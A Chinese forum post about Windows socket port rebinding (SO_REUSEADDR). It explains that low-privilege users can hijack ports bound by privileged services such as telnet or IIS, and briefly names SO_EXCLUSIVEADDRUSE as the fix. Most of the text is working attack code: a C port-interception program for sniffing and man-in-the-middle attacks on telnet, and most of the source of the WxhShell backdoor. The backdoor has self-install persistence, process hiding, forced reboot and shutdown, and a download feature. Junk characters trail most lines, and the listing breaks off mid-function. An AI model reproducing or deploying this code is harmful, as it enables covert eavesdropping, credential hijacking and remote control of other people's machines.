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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kt;}]O2%R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @ARAX\F  
"K9vm^xP  
  saddr.sin_family = AF_INET; UDhwnGTq(l  
_HSTiJVr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;JMOsn}8  
/%2:+w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?,.HA@T%  
\Mobq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ---Ks0\V  
aa%Yk"V @  
  这意味着什么?意味着可以进行如下的攻击: V5hp Y ]  
95_[r$C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 46QYXmNQ}  
J[I"/sdk-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,e}mR>i=e  
*?EjYI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fx8y`8}_  
ZE5-i@1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2<`gs(oxXe  
|6\FI?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V2WUM+`uT  
@h,h=X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^(E"3 c  
EKeBTb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3C E 39W  
F] dmc,Q  
  #include Enq6K1@%G  
  #include Gnuo-8lb  
  #include u* #-7   
  #include    @vVRF Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   oyi7YRvwd  
  int main() #n6FQ$l8m  
  { *y":@T  
  WORD wVersionRequested; %[+a[/  
  DWORD ret; %fex uy4  
  WSADATA wsaData; wN/*|?`Z  
  BOOL val; 7]<F>97  
  SOCKADDR_IN saddr; vV$hGS(f~  
  SOCKADDR_IN scaddr; p*(U*8Q  
  int err; M ,.0[+  
  SOCKET s; 6!gtve_  
  SOCKET sc; -Z[R S{#+T  
  int caddsize; x"zjN'|  
  HANDLE mt; Z7m GC`>  
  DWORD tid;   .(gT+5[  
  wVersionRequested = MAKEWORD( 2, 2 ); +=,4@I%  
  err = WSAStartup( wVersionRequested, &wsaData ); B.CH9M  
  if ( err != 0 ) { SNopAACf1  
  printf("error!WSAStartup failed!\n"); v e6N  
  return -1; wfU&{7yt  
  } 4{Yy05PFS  
  saddr.sin_family = AF_INET; Y;~~?[6  
   RGx]DP$5G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,6%hu|Y*  
xPn'yo  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K%aPl~e  
  saddr.sin_port = htons(23); #w%a m`+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mTI\,x%<OC  
  { $)kBz*C[  
  printf("error!socket failed!\n"); } Y7W1$he  
  return -1; $9 &Q.Kpq>  
  } VDb,$i.Z0  
  val = TRUE; 8VAYIxRv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6B!j(R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E9Qd>o  
  { D:RBq\8  
  printf("error!setsockopt failed!\n"); u+I r:k  
  return -1; {8*d;[X50  
  } [EW$7 se~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Npf7p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %Mb( c+7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .5#tB*H  
e!2%ku  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $jUS[.S_|I  
  { b0zxT9  
  ret=GetLastError(); +UpMMh q  
  printf("error!bind failed!\n"); #sm_.?P  
  return -1; 6|"!sW`%N  
  } ="'P=Xh!8  
  listen(s,2); J6^Ct  
  while(1) ,:dEEL+>c  
  { 9 z8<[>  
  caddsize = sizeof(scaddr);  i?i7T`  
  //接受连接请求 ?( dYW7S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #$vhC u<I  
  if(sc!=INVALID_SOCKET) "Wn?8vR  
  { P!4{#'_}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x(/@Pt2B  
  if(mt==NULL) SceCucT  
  { 7gdU9c/q,  
  printf("Thread Creat Failed!\n"); KWn1%oGJ  
  break; &xiDG=I#  
  } 6Qzu-  
  } LGo@F;!n  
  CloseHandle(mt); +~i+k~{`H  
  } X gx2  
  closesocket(s); 9,EaN{GM  
  WSACleanup(); vxilQp  
  return 0; L->f= 8L  
  }   6E\\`FE4y  
  DWORD WINAPI ClientThread(LPVOID lpParam) _ c(C;s3o  
  { BJ.8OU*9]S  
  SOCKET ss = (SOCKET)lpParam; h<^:Nn  
  SOCKET sc; U<,Kw6K  
  unsigned char buf[4096]; ,Q /nS$  
  SOCKADDR_IN saddr; ~&j`9jdOj  
  long num; D @4&@>  
  DWORD val; ~b6<uRnM.  
  DWORD ret; k vgs $  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y +_5"LV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fj t_9-.  
  saddr.sin_family = AF_INET; ^]lwd"$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,b.4uJg'  
  saddr.sin_port = htons(23); ?od}~G4s#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UA!Gr3  
  { ap$ tu3j  
  printf("error!socket failed!\n"); YaJ{"'}  
  return -1; x 1xj\O  
  } i\Q"a B"r  
  val = 100; b#I*~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;iC'{S  
  { Dy{`">a  
  ret = GetLastError(); (P>eWw\0  
  return -1; u0 oYb_Yv  
  } 6nWx>R<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :rs\ydDUF  
  { `j!2uRFe>  
  ret = GetLastError(); N7I71q|  
  return -1; 1={Tcq\]  
  } )Y,?r[4{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {EoyMJgz  
  { }jY[| >z  
  printf("error!socket connect failed!\n"); cVHE}0Xd(  
  closesocket(sc); %}ApO{  
  closesocket(ss); YT(1 "{:  
  return -1; 9X {nJ"  
  } UK <DcM~n  
  while(1) Y7t{4P  
  { hte9l)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c>i*HN}Z|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `7qp\vYL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r?yJ  
  num = recv(ss,buf,4096,0); !|:q@|- %@  
  if(num>0) t|U2 ws#  
  send(sc,buf,num,0); QH' [ (  
  else if(num==0) n\"LN3  
  break; 6[2?m*BsN  
  num = recv(sc,buf,4096,0); {|J2clL  
  if(num>0) } Ved  
  send(ss,buf,num,0); o(>-:l i0  
  else if(num==0) JTh =JHJ  
  break; z vylL M  
  } U1HD~  
  closesocket(ss); 1DlcO>#@  
  closesocket(sc); V-ouIqnI  
  return 0 ; ExP25T  
  } 6j"I5,-~!  
hC, -9c  
BSu)O~s  
========================================================== 7f Tg97eF  
HFx"fT  
下边附上一个代码,,WXhSHELL ^'I5]cRa  
M7<#=pX&  
========================================================== @oc%4~zl  
o`8+#+@f7  
#include "stdafx.h" /e?ux~f|  
0G\myv  
#include <stdio.h> KJ^GUqVl  
#include <string.h> 'kg]|"M  
#include <windows.h> S}[:;p?F`  
#include <winsock2.h> (DMnwqr  
#include <winsvc.h> %V1T !<  
#include <urlmon.h> AW&s-b%P  
Cz);mOb%M%  
#pragma comment (lib, "Ws2_32.lib") O-lh\9{'R  
#pragma comment (lib, "urlmon.lib") OZ14-}Lr5  
W]}V<S$  
#define MAX_USER   100 // 最大客户端连接数 ;ld~21#m  
#define BUF_SOCK   200 // sock buffer 2[&-y[1  
#define KEY_BUFF   255 // 输入 buffer I;Fy k70w;  
/ >. X+N  
#define REBOOT     0   // 重启 iN4'jD^oP  
#define SHUTDOWN   1   // 关机 lvJ{=~u  
I+d(r"N1  
#define DEF_PORT   5000 // 监听端口 s&`XK$p  
L8tLW09  
#define REG_LEN     16   // 注册表键长度 ^RAFmM#F  
#define SVC_LEN     80   // NT服务名长度 .QQI~p0:  
JR<-'  
// 从dll定义API n9/0W%X>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {5IG3'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y4qyy\}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wBHDof xX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [gdPHXs  
BI^]juH-c  
// wxhshell配置信息 Uu:v4a  
struct WSCFG { \ J:T]  
  int ws_port;         // 监听端口 (4f9wrK  
  char ws_passstr[REG_LEN]; // 口令 "3oU (RA  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7-IeJ6,D  
  char ws_regname[REG_LEN]; // 注册表键名 :@Dos'0Px  
  char ws_svcname[REG_LEN]; // 服务名 'I>#0VRr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :Sn3|`HDm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FY S83uq0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [=F |^KL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jo$Dxa z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;/q6^Nk3A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6%INNIyAWa  
}Q^a.`h  
}; +mOtYf W  
[IBk-opap  
// default Wxhshell configuration @CI6$  
struct WSCFG wscfg={DEF_PORT, GiwA$^Hg\  
    "xuhuanlingzhe", \\Tp40m+  
    1, "[S 6w  
    "Wxhshell", gbf=H8]  
    "Wxhshell", LhRe?U\  
            "WxhShell Service", *+Q*&-$  
    "Wrsky Windows CmdShell Service", E(LE*J  
    "Please Input Your Password: ", V(uRKu x  
  1, !D&MJThNy  
  "http://www.wrsky.com/wxhshell.exe", @5G7bY7Nz  
  "Wxhshell.exe" y]4 `d  
    };  ly%B!P|  
}z-  
// 消息定义模块 BIf].RY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5w{pX1z1  
char *msg_ws_prompt="\n\r? for help\n\r#>";  A;x^6>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =T4 w:  
char *msg_ws_ext="\n\rExit."; Bic { H  
char *msg_ws_end="\n\rQuit."; X hX'*{3k  
char *msg_ws_boot="\n\rReboot..."; 0%NI- Zyo  
char *msg_ws_poff="\n\rShutdown..."; VDY1F_Fk  
char *msg_ws_down="\n\rSave to "; :Rj,'uH+h)  
n1(X%%2  
char *msg_ws_err="\n\rErr!"; &)jZ|Q~  
char *msg_ws_ok="\n\rOK!"; K)\gbQ|  
m9c T}x&j  
char ExeFile[MAX_PATH]; ah9',((!  
int nUser = 0; u*N8s[s'  
HANDLE handles[MAX_USER]; !z 5d+ M  
int OsIsNt; S5a<L_  
qDd/wR,44  
SERVICE_STATUS       serviceStatus; fr2w k}/b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (#M$t!'%  
iZ\z!tHR  
// 函数声明 -JK4-Hg  
int Install(void); Q 9<_:3  
int Uninstall(void); >D62l*VC)  
int DownloadFile(char *sURL, SOCKET wsh); 1tz .e\  
int Boot(int flag); f.^w/ GJO/  
void HideProc(void); @2*6+w_Ae  
int GetOsVer(void); tgA |Vwwk  
int Wxhshell(SOCKET wsl); s2=X>,kz?  
void TalkWithClient(void *cs); &ru0i@?)  
int CmdShell(SOCKET sock); Rj`Y X0?+  
int StartFromService(void); nW'x#0-  
int StartWxhshell(LPSTR lpCmdLine); vGT.(:\-,  
kk+8NwM1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7"i*J6y*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a`Z f_;$@  
PzDgl6C  
// 数据结构和表定义 c (8J  
SERVICE_TABLE_ENTRY DispatchTable[] = J3+8s [oJ>  
{ 0M+tKFb  
{wscfg.ws_svcname, NTServiceMain}, {o%R~{6  
{NULL, NULL} V/}8+Xq  
}; (C@@e'e  
htym4\Z=  
// 自我安装 7'uc;5:  
int Install(void) !I_4GE,  
{ !#qB%E]a  
  char svExeFile[MAX_PATH]; uZI a-b  
  HKEY key; CHI(\DXNs  
  strcpy(svExeFile,ExeFile); 4HE4e  
 +'.Q-  
// 如果是win9x系统,修改注册表设为自启动 hj,x~^cS  
if(!OsIsNt) { qG]PUc>j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1tpD|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Cp{i<C  
  RegCloseKey(key); oyw1N;K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &[5az/Hj*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5wX>PJS  
  RegCloseKey(key); l:f sZO4  
  return 0; ?s33x#  
    } gwNkjI= ,  
  } musxX58%  
} Q~_x%KN/`  
else { }L9j`17  
lej{VcG  
// 如果是NT以上系统,安装为系统服务 0{F.DDiNT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;xwQzu%M>5  
if (schSCManager!=0) {H2i+"cF  
{ (mlc' ]F  
  SC_HANDLE schService = CreateService fif<[Ax  
  ( _y UFe&  
  schSCManager, m.1BLN[9  
  wscfg.ws_svcname, i>2_hn_UR  
  wscfg.ws_svcdisp, xK3;/!\`  
  SERVICE_ALL_ACCESS, Kx0dOkE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7!%"8Rl-  
  SERVICE_AUTO_START, f lB2gr^  
  SERVICE_ERROR_NORMAL, "g-NUl`'  
  svExeFile, J]B5w{??b  
  NULL, N<99K!   
  NULL, {eUfwPAa3  
  NULL, 6< Z9p@6  
  NULL, h[T3WE  
  NULL e AjtWqg  
  ); [dMxr9M  
  if (schService!=0) :^a$ve3(Jq  
  { q =6 Y2Q  
  CloseServiceHandle(schService); 7i.aZ2a%  
  CloseServiceHandle(schSCManager); sSUd;BYf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (.o'1 '  
  strcat(svExeFile,wscfg.ws_svcname); W(YJz#]6_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "#jKk6{I0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7ZZt|bl  
  RegCloseKey(key); K#r` ^aUc  
  return 0; I]X<L2  
    } y e'5 A   
  } cDg27xOUi  
  CloseServiceHandle(schSCManager); h# 8b#  
} 2|BE{91  
} -; }Wm[  
^ a:F*<D  
return 1; kx[8#+P  
} rej[G!  
s8Oz^5p(  
// 自我卸载 #SueT"F  
int Uninstall(void) fp0Va!T(V  
{ 1~ Nz6  
  HKEY key; qv6]YPP  
|:z%7J3wP  
if(!OsIsNt) { m='OnTeOE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l<0V0R(  
  RegDeleteValue(key,wscfg.ws_regname); { SV$fl;  
  RegCloseKey(key); zdCt#=QV?R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -eTGRr  
  RegDeleteValue(key,wscfg.ws_regname); JK4  @  
  RegCloseKey(key); 7(H/|2;-d8  
  return 0; zYgLGwi{  
  } zeX?]@]Y  
} YSbN=Rj  
} yFG&Ir  
else { LKa_ofY  
V 6F,X`7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TL>e[ PBO  
if (schSCManager!=0) /hQ!dU.+  
{ X}$S|1CjO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @kw=0  
  if (schService!=0) T[~X~dqwn"  
  { ^^#A9AM  
  if(DeleteService(schService)!=0) { vs~*=d27Pf  
  CloseServiceHandle(schService); Vs >1%$If  
  CloseServiceHandle(schSCManager); F/8y p<_r  
  return 0; J$0*K+m  
  } iYnt:C  
  CloseServiceHandle(schService); y@I"Hk<T  
  } pN[i%\vh  
  CloseServiceHandle(schSCManager); VMp6s%m  
} +Ji dP  
} *L=CJg  
''G @n*  
return 1; ^s5)FdF8  
} D$ \ EZ   
Ax ^9J)C  
// 从指定url下载文件 \;}dS SB1  
int DownloadFile(char *sURL, SOCKET wsh) ;6?K&}J)-  
{ rgr> ;   
  HRESULT hr; Wxjpe4  
char seps[]= "/"; rlD@O~P4  
char *token; Ch3##-  
char *file; U/>5C:  
char myURL[MAX_PATH]; +xMDm_TGLA  
char myFILE[MAX_PATH]; RaAq>B WPr  
pS0T>r  
strcpy(myURL,sURL); JmkJ^-A 6  
  token=strtok(myURL,seps); d=[ .   
  while(token!=NULL) gIeo7>u  
  { [eImP V]  
    file=token; 2bqwnRT}  
  token=strtok(NULL,seps); VrpY BU  
  } {PZe!EQ  
3iB8QO;pp  
GetCurrentDirectory(MAX_PATH,myFILE); Nbr{)h  
strcat(myFILE, "\\"); <T['J]k%  
strcat(myFILE, file); Ks4TBi&J   
  send(wsh,myFILE,strlen(myFILE),0); nN[,$`JD,  
send(wsh,"...",3,0); ZP1EO Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ws=y*7$y  
  if(hr==S_OK) @ B+];lr/-  
return 0; rVLA"x 9u  
else /Mv'fich(  
return 1;  m{~r6@  
Js'|N%pi  
} >Q YxX<W  
@I%m}>4Jm  
// 系统电源模块 : M Md@  
int Boot(int flag) 4R6X"T9-  
{ E>&dG:3no  
  HANDLE hToken; 2l9_$evK~  
  TOKEN_PRIVILEGES tkp; kns[b [!H  
s:%>H|-  
  if(OsIsNt) { NFQ0/iuW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l 1@:&j3h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FkH4|}1  
    tkp.PrivilegeCount = 1; xaPTTa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1*XqwBV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D`u{U]  
if(flag==REBOOT) { Ou/{PK}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mWZV O,t$  
  return 0;  A/9 wr  
} 7JbN WN  
else { #VLTx!5o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O?P6rXKr  
  return 0; FK->|  
} 74Lq!e3hMF  
  } h-<+Pjc  
  else { qu?D`29  
if(flag==REBOOT) { )9}z^+TH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }RXm=ArN  
  return 0; wDn5|F}i&  
} "F=O   
else { zDX-}t_'q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m$]?Jq  
  return 0; ZW2U9  
} ur;8uv2o  
} (u *-(  
$#CkI09  
return 1; w!61k \  
} IyMKV$"  
.2`S07Z  
// win9x进程隐藏模块 s+aeP  
void HideProc(void) ;:v:pg8qc  
{ <MoWS9s!yb  
|',Gy\Sj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3iDRt&y=.  
  if ( hKernel != NULL ) WO|#`HM2  
  { a4c~ThbI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l/SbJrM*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ondF  
    FreeLibrary(hKernel); nP] ~8ViS  
  } Uc.K6%iI  
\ZXH(N*>2t  
return; 7Kfh:0Ihhy  
} Q~nc:eWD  
NI3_wV  
// 获取操作系统版本 }=NjFK_6  
int GetOsVer(void) lV3\5AEW  
{ pbJs3uIR  
  OSVERSIONINFO winfo; z`lDD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wfp[)MM;  
  GetVersionEx(&winfo); [8<)^k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iJU]|t  
  return 1; O3Yv ->#  
  else _Y=>^K]9K  
  return 0; ?,]25q   
} m+zzhv1  
EiSS_Lc  
// 客户端句柄模块 >-f`mT  
int Wxhshell(SOCKET wsl) O",:0<  
{ 3#W>  
  SOCKET wsh;  t;{/Q&C  
  struct sockaddr_in client; i&RPY bT{  
  DWORD myID; K^EW*6vB8O  
=}F &jl  
  while(nUser<MAX_USER) sT|8a  
{ K%.\@l2Cp  
  int nSize=sizeof(client); ]JbGP{UiN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Dr&2q X!  
  if(wsh==INVALID_SOCKET) return 1; c5pF?kFaD  
+g%kr~w=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pr9$( 6MX  
if(handles[nUser]==0) Iell`;  
  closesocket(wsh); Y`w+?}(M  
else _uID3N%  
  nUser++; {U>B\D  
  } qy"#XbBeV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TN4gGky!  
(i1 ]+.  
  return 0; ,F]Y,"x:  
} jUYb8:B  
# 2s$dI  
// 关闭 socket }[k~JXt  
void CloseIt(SOCKET wsh) voEg[Gg4%I  
{ h#a,<B|  
closesocket(wsh); Jc95Ki1X  
nUser--; ;kDz9Va  
ExitThread(0); @h$cHZ  
} %N04k8z  
-)PQ&[  
// 客户端请求句柄 Hz `aj  
void TalkWithClient(void *cs) 1Jjay#  
{ E)7vuWO O  
9t9x&.A  
  SOCKET wsh=(SOCKET)cs; unKi)v1  
  char pwd[SVC_LEN]; (]>= y  
  char cmd[KEY_BUFF]; 0"#'Z>"  
char chr[1]; 4 cDjf~n  
int i,j; _SY4Q s`d  
1:(qoA:  
  while (nUser < MAX_USER) { R.-2shOE'  
@lRTp  
if(wscfg.ws_passstr) { 9ePG-=5I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KEEHb2q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >+ul LQqe  
  //ZeroMemory(pwd,KEY_BUFF); nkUSd}a`r  
      i=0; Cz` !j  
  while(i<SVC_LEN) { p3`ND;KQ  
2r4owB?  
  // 设置超时 h\k@7wgu  
  fd_set FdRead; c 2t<WRG  
  struct timeval TimeOut; TCWy^8LA  
  FD_ZERO(&FdRead); F jsnFX;  
  FD_SET(wsh,&FdRead); 0Z $=2c?xT  
  TimeOut.tv_sec=8; K-vG5t0$\/  
  TimeOut.tv_usec=0; fMgB!y"Em  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  rl"$6{Z}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CY"&@v1  
>MwjUq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 78T9"CS  
  pwd=chr[0]; I&%{%*y  
  if(chr[0]==0xd || chr[0]==0xa) { V C$,Y  
  pwd=0; "^Y)&<J&  
  break; {}RE;5n\['  
  } PT4Wox9U  
  i++; GG<{n$h  
    } g<(3wL,"  
bk^W]<:z`  
  // 如果是非法用户,关闭 socket LX;w~fRr.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5n{J}0C  
} I6@98w}"  
 3 c #oK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >zx]% W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R9bsl.e  
d nRbt{`jP  
while(1) { J)tk<&X  
O<}3\O )G(  
  ZeroMemory(cmd,KEY_BUFF); rKxIOJ,T  
0N9`WK  
      // 自动支持客户端 telnet标准   4IfOvAN%  
  j=0; RrB)u?  
  while(j<KEY_BUFF) { "x~VXU%xU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); trlZ^K  
  cmd[j]=chr[0]; $v5)d J  
  if(chr[0]==0xa || chr[0]==0xd) { #y;TSHx/  
  cmd[j]=0; nIc:<w]  
  break; X)6}<A  
  } '9d<vW g  
  j++; [Ume^  
    } ML eo3  
g2)jd[GM  
  // 下载文件 vz$-KT4e^  
  if(strstr(cmd,"http://")) { TNun)0p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +pMa-{  
  if(DownloadFile(cmd,wsh)) Zfwhg4G~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vfBIQfH  
  else T .#cd1b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k_ d)  
  } [ =/Yo1:v  
  else { 9NzK1V0X  
;6+e!h'1  
    switch(cmd[0]) { 6WI-ZEVp&  
  P}kBqMM  
  // 帮助 p>x[:*  
  case '?': { (h&XtFul}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #WE"nh9f|z  
    break; <7  
  } ct o+W}k  
  // 安装 e8E*Urtz  
  case 'i': { w2 %u;D%  
    if(Install()) fyHFfPEE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '?$N.lj$d  
    else /w[B,_ZKTk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "&9L  
    break; @bfW-\ I  
    } R{6~7<m.  
  // 卸载 Ei$?]~ &  
  case 'r': { $4YyZ!_.@  
    if(Uninstall()) \Dn47V{7-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q5K<ECoPk  
    else `3wzOMgJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t?&@bs5~g  
    break; *,x-}%X  
    } d;:H#F+ (  
  // 显示 wxhshell 所在路径 MawWgd*  
  case 'p': { XHN*'@ 77;  
    char svExeFile[MAX_PATH]; s}1S6*Cr  
    strcpy(svExeFile,"\n\r"); [B0]%!hFw  
      strcat(svExeFile,ExeFile); [l`_2{:  
        send(wsh,svExeFile,strlen(svExeFile),0); #k}x} rn<'  
    break; 6I8A[   
    } y"bSn5B[  
  // 重启 _U Q|I|V#  
  case 'b': { "K Or)QD/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S{uKm1a  
    if(Boot(REBOOT)) &Y `V A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 40?xu#"  
    else { <q}w,XU  
    closesocket(wsh); PJ$C$G  
    ExitThread(0); Uj/m  
    } #saK8; tp  
    break; 27"M]17)  
    } @Yzdq\FI  
  // 关机 GF^)](xY+  
  case 'd': { E`A6GX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =P}BAJ  
